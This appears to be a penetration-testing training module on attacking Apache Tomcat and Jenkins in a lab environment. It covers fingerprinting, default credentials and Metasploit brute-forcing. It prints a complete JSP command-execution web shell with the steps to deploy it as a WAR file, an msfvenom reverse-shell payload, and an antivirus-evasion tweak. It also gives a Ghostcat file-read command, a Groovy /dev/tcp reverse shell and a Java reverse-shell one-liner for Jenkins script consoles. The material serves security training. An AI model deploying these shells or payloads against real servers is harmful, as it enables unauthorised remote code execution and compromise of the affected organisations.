Servlet Containers/Software Development

Tomcat - Discovery & Enumeration

During our external penetration test, we run EyeWitness and see one host listed under "High Value Targets." The tool believes the host is running Tomcat, but we must confirm to plan our attacks. If we are dealing with Tomcat on the external network, this could be an easy foothold into the internal network environment.

Tomcat servers can be identified by the Server header in the HTTP response. If the server is operating behind a reverse proxy, requesting an invalid page should reveal the server and version. Here we can see that Tomcat version 9.0.30 is in use.

Custom error pages may be in use that do not leak this version information. In this case, another method of detecting a Tomcat server and version is through the /docs page.

curl -s http://app-dev.inlanefreight.local:8080/docs/ | grep Tomcat

This is the default documentation page, which may not be removed by administrators. Here is the general folder structure of a Tomcat installation.

├── bin
├── conf
│   ├── catalina.policy
│   ├── catalina.properties
│   ├── context.xml
│   ├── tomcat-users.xml
│   ├── tomcat-users.xsd
│   └── web.xml
├── lib
├── logs
├── temp
├── webapps
│   ├── manager
│   │   ├── images
│   │   ├── META-INF
│   │   └── WEB-INF
|   |       └── web.xml
│   └── ROOT
│       └── WEB-INF
└── work
    └── Catalina
        └── localhost

The bin folder stores scripts and binaries needed to start and run a Tomcat server. The conf folder stores various configuration files used by Tomcat. The tomcat-users.xml file stores user credentials and their assigned roles. The lib folder holds the various JAR files needed for the correct functioning of Tomcat. The logs and temp folders store temporary log files. The webapps folder is the default webroot of Tomcat and hosts all the applications. The work folder acts as a cache and is used to store data during runtime.

Each folder inside webapps is expected to have the following structure.

webapps/customapp
├── images
├── index.jsp
├── META-INF
│   └── context.xml
├── status.xsd
└── WEB-INF
    ├── jsp
    |   └── admin.jsp
    └── web.xml
    └── lib
    |    └── jdbc_drivers.jar
    └── classes
        └── AdminServlet.class

The most important file among these is WEB-INF/web.xml, which is known as the deployment descriptor. This file stores information about the routes used by the application and the classes handling these routes. All compiled classes used by the application should be stored in the WEB-INF/classes folder.

These classes might contain important business logic as well as sensitive information. Any vulnerability in these files can lead to total compromise of the website. The lib folder stores the libraries needed by that particular application. The jsp folder stores Jakarta Server Pages (JSP), formerly known as JavaServer Pages, which can be compared to PHP files on an Apache server.

Example web.xmlfile:

<?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd">

<web-app>
  <servlet>
    <servlet-name>AdminServlet</servlet-name>
    <servlet-class>com.inlanefreight.api.AdminServlet</servlet-class>
  </servlet>

  <servlet-mapping>
    <servlet-name>AdminServlet</servlet-name>
    <url-pattern>/admin</url-pattern>
  </servlet-mapping>
</web-app>

The web.xml configuration above defines a new servlet named AdminServlet that is mapped to the class com.inlanefreight.api.AdminServlet. Java uses the dot notation to create package names, meaning the path on disk for the class defined above would be:

• classes/com/inlanefreight/api/AdminServlet.class

Next, a new servlet mapping is created to map requests to /admin with AdminServlet. This configuration will send any request received for /admin to the AdminServlet.class class for processing. The web.xml descriptor holds a lot of sensitive information and is an important file to check when leveraging a Local File Inclusion (LFI) vulnerability.

The tomcat-users.xml file is used to allow or disallow access to the /manager (/manager/html) and host-manager admin pages.

<?xml version="1.0" encoding="UTF-8"?>

<SNIP>
  
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
<!--
  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary.

  Built-in Tomcat manager roles:
    - manager-gui    - allows access to the HTML GUI and the status pages
    - manager-script - allows access to the HTTP API and the status pages
    - manager-jmx    - allows access to the JMX proxy and the status pages
    - manager-status - allows access to the status pages only

  The users below are wrapped in a comment and are therefore ignored. If you
  wish to configure one or more of these users for use with the manager web
  application, do not forget to remove the <!.. ..> that surrounds them. You
  will also need to set the passwords to something appropriate.
-->

   
 <SNIP>
  
!-- user manager can access only manager section -->
<role rolename="manager-gui" />
<user username="tomcat" password="tomcat" roles="manager-gui" />

<!-- user admin can access manager and admin section both -->
<role rolename="admin-gui" />
<user username="admin" password="admin" roles="manager-gui,admin-gui" />


</tomcat-users>

The file shows us what each of the roles manager-gui, manager-script, manager-jmx, and manager-status provide access to. In this example, we can see that a user tomcat with the password tomcat has the manager-gui role, and a second weak password admin is set for the user account admin

Enumeration

After fingerprinting the Tomcat instance, unless it has a known vulnerability, we'll typically want to look for the /manager and the /host-manager pages. We can attempt to locate these with a tool such as Gobuster or just browse directly to them.

gobuster dir -u http://web01.inlanefreight.local:8180/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt

We may be able to either log in to one of these using weak credentials such as tomcat:tomcat, admin:admin, etc. If these first few tries don't work, we can try a password brute force attack against the login page, covered in the next section. If we are successful in logging in, we can upload a Web Application Resource or Web Application ARchive (WAR) file containing a JSP web shell and obtain remote code execution on the Tomcat server.

Attacking Tomcat

As discussed in the previous section, if we can access the /manager or /host-manager endpoints, we can likely achieve remote code execution on the Tomcat server. Let's start by brute-forcing the Tomcat manager page on the Tomcat instance at http://web01.inlanefreight.local:8180. We can use the auxiliary/scanner/http/tomcat_mgr_login Metasploit module for these purposes, Burp Suite Intruder or any number of scripts to achieve this. We'll use Metasploit for our purposes.

Tomcat Manager - Login Brute Force

We first have to set a few options. Again, we must specify the vhost and the target's IP address to interact with the target properly. We should also set STOP_ON_SUCCESS to true so the scanner stops when we get a successful login, no use in generating loads of additional requests after a successful login.

msf6 auxiliary(scanner/http/tomcat_mgr_login) > set VHOST web01.inlanefreight.local
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set RPORT 8180
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set stop_on_success true
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 10.129.201.58

As always, we check to make sure everything is set up correctly by show options.

We hit run and get a hit for the credential pair tomcat:admin.

We can also use this Python script to achieve the same result.

This is a very straightforward script that takes a few arguments. We can run the script with -h to see what it requires to run.

python3 mgr_brute.py -h

Tomcat Manager - WAR File Upload

Valid manager credentials can be used to upload a packaged Tomcat application (.WAR file) and compromise the application. A WAR, or Web Application Archive, is used to quickly deploy web applications and backup storage.

After performing a brute force attack and answering questions 1 and 2 below, browse to http://web01.inlanefreight.local:8180/manager/html and enter the credentials.

The manager web app allows us to instantly deploy new applications by uploading WAR files. A WAR file can be created using the zip utility. A JSP web shell such as this can be downloaded and placed within the archive.

<%@ page import="java.util.*,java.io.*"%>
<%
//
// JSP_KIT
//
// cmd.jsp = Command Execution (unix)
//
// by: Unknown
// modified: 27/06/2003
//
%>
<HTML><BODY>
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
        out.println("Command: " + request.getParameter("cmd") + "<BR>");
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
                out.println(disr); 
                disr = dis.readLine(); 
                }
        }
%>
</pre>
</BODY></HTML>

wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
zip -r backup.war cmd.jsp

Click on Browse to select the .war file and then click on Deploy.

This file is uploaded to the manager GUI, after which the /backup application will be added to the table.

If we click on backup, we will get redirected to http://web01.inlanefreight.local:8180/backup/ and get a 404 Not Found error. We need to specify the cmd.jsp file in the URL as well. Browsing to http://web01.inlanefreight.local:8180/backup/cmd.jsp will present us with a web shell that we can use to run commands on the Tomcat server. From here, we could upgrade our web shell to an interactive reverse shell and continue. Like previous examples, we can interact with this web shell via the browser or using cURL on the command line. Try both!

curl http://web01.inlanefreight.local:8180/backup/cmd.jsp?cmd=id

To clean up after ourselves, we can go back to the main Tomcat Manager page and click the Undeploy button next to the backups application after, of course, noting down the file and upload location for our report, which in our example is /opt/tomcat/apache-tomcat-10.0.10/webapps. If we do an ls on that directory from our web shell, we'll see the uploaded backup.war file and the backup directory containing the cmd.jsp script and META-INF created after the application deploys. Clicking on Undeploy will typically remove the uploaded WAR archive and the directory associated with the application.

We could also use msfvenom to generate a malicious WAR file. The payload java/jsp_shell_reverse_tcp will execute a reverse shell through a JSP file. Browse to the Tomcat console and deploy this file. Tomcat automatically extracts the WAR file contents and deploys it.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=4443 -f war > backup.war

Start a Netcat listener and click on /backup to execute the shell.

nc -lnvp 4443

The multi/http/tomcat_mgr_upload Metasploit module can be used to automate the process shown above, but we'll leave this as an exercise for the reader.

This JSP web shell is very lightweight (under 1kb) and utilizes a Bookmarklet or browser bookmark to execute the JavaScript needed for the functionality of the web shell and user interface. Without it, browsing to an uploaded cmd.jsp would render nothing. This is an excellent option to minimize our footprint and possibly evade detections for standard JSP web shells (though the JSP code may need to be modified a bit).

A simple change such as changing:

FileOutputStream(f);stream.write(m);o="Uploaded:

To:

FileOutputStream(f);stream.write(m);o="uPlOaDeD:

results in 0/58 security vendors flagging the cmd.jsp file as malicious at the time of writing.

When we upload web shells (especially on externals), we want to prevent unauthorized access. We should take certain measures such as a randomized file name (i.e., MD5 hash), limiting access to our source IP address, and even password protecting it. We don't want an attacker to come across our web shell and leverage it to gain their own foothold.

CVE-2020-1938 : Ghostcat

Tomcat was found to be vulnerable to an unauthenticated LFI in a semi-recent discovery named Ghostcat.

All Tomcat versions before 9.0.31, 8.5.51, and 7.0.100 were found vulnerable.

The AJP service is usually running at port 8009 on a Tomcat server. This can be checked with a targeted Nmap scan.

nmap -sV -p 8009,8080 app-dev.inlanefreight.local

The PoC code for the vulnerability can be found here. Download the script and save it locally. The exploit can only read files and folders within the web apps folder, which means that files like /etc/passwd can’t be accessed. Let’s attempt to access the web.xml.

python2.7 tomcat-ajp.lfi.py app-dev.inlanefreight.local -p 8009 -f WEB-INF/web.xml

Tomcat is always a great find on internal and external penetration tests. Whenever we come across it, we should test the Tomcat Manager area for weak/default credentials. If we can log in, we can quickly turn this access into remote code execution. It’s common to find Tomcat running as high-privileged users such as SYSTEM or root, so it is always worth digging into as it could provide us with a privileged foothold on a Linux server or a domain-joined Windows server in an Active Directory environment.

Jenkins - Discovery & Enumeration

Jenkins runs on Tomcat port 8080 by default. It also utilizes port 5000 to attach slave servers. This port is used to communicate between masters and slaves. Jenkins can use a local database, LDAP, Unix user database, delegate security to a servlet container, or use no authentication at all. Administrators can also allow or disallow users from creating accounts.

Enumeration

The default installation typically uses Jenkins’ database to store credentials and does not allow users to register an account. We can fingerprint Jenkins quickly by the telltale login page.

We may encounter a Jenkins instance that uses weak or default credentials such as admin:admin or does not have any type of authentication enabled. It is not uncommon to find Jenkins instances that do not require any authentication during an internal penetration test. While rare, we have come across Jenkins during external penetration tests that we were able to attack.

Attacking Jenkins

Once we have gained access to a Jenkins application, a quick way of achieving command execution on the underlying server is via the Script Console. The script console allows us to run arbitrary Groovy scripts within the Jenkins controller runtime. This can be abused to run operating system commands on the underlying server. Jenkins is often installed in the context of the root or SYSTEM account, so it can be an easy win for us.

Script Console

The script console can be reached at the URL http://jenkins.inlanefreight.local:8000/script. This console allows a user to run Apache Groovy scripts, which are an object-oriented Java-compatible language. The language is similar to Python and Ruby. Groovy source code gets compiled into Java Bytecode and can run on any platform that has JRE installed.

Using this script console, it is possible to run arbitrary commands, functioning similarly to a web shell. For example, we can use the following snippet to run the id command.

def cmd = 'id'
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = cmd.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println sout

There are various ways that access to the script console can be leveraged to gain a reverse shell. For example, using the command below, or this Metasploit module.

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.10.14.15/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Running the above commands results in a reverse shell connection.

Against a Windows host, we could attempt to add a user and connect to the host via RDP or WinRM or, to avoid making a change to the system, use a PowerShell download cradle with Invoke-PowerShellTcp.ps1. We could run commands on a Windows-based Jenkins install using this snippet:

def cmd = "cmd.exe /c dir".execute();
println("${cmd.text}");

We could also use this Java reverse shell to gain command execution on a Windows host, swapping out localhost and the port for our IP address and listener port.

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Miscellaneous Vulnerabilities

Several remote code execution vulnerabilities exist in various versions of Jenkins. One recent exploit combines two vulnerabilities, CVE-2018-1999002 and CVE-2019-1003000 to achieve pre-authenticated remote code execution, bypassing script security sandbox protection during script compilation.

Public exploit PoCs exist to exploit a flaw in Jenkins dynamic routing to bypass the Overall / Read ACL and use Groovy to download and execute a malicious JAR file. This flaw allows users with read permissions to bypass sandbox protections and execute code on the Jenkins master server. This exploit works against Jenkins version 2.137.

Another vulnerability exists in Jenkins 2.150.2, which allows users with JOB creation and BUILD privileges to execute code on the system via Node.js. This vulnerability requires authentication, but if anonymous users are enabled, the exploit will succeed because these users have JOB creation and BUILD privileges by default.

As we have seen, gaining access to Jenkins as an administrator can quickly lead to remote code execution. While several working RCE exploits exist for Jenkins, they are version-specific. At the time of writing, the current LTS release of Jenkins is 2.303.1, which fixes the two flaws detailed above.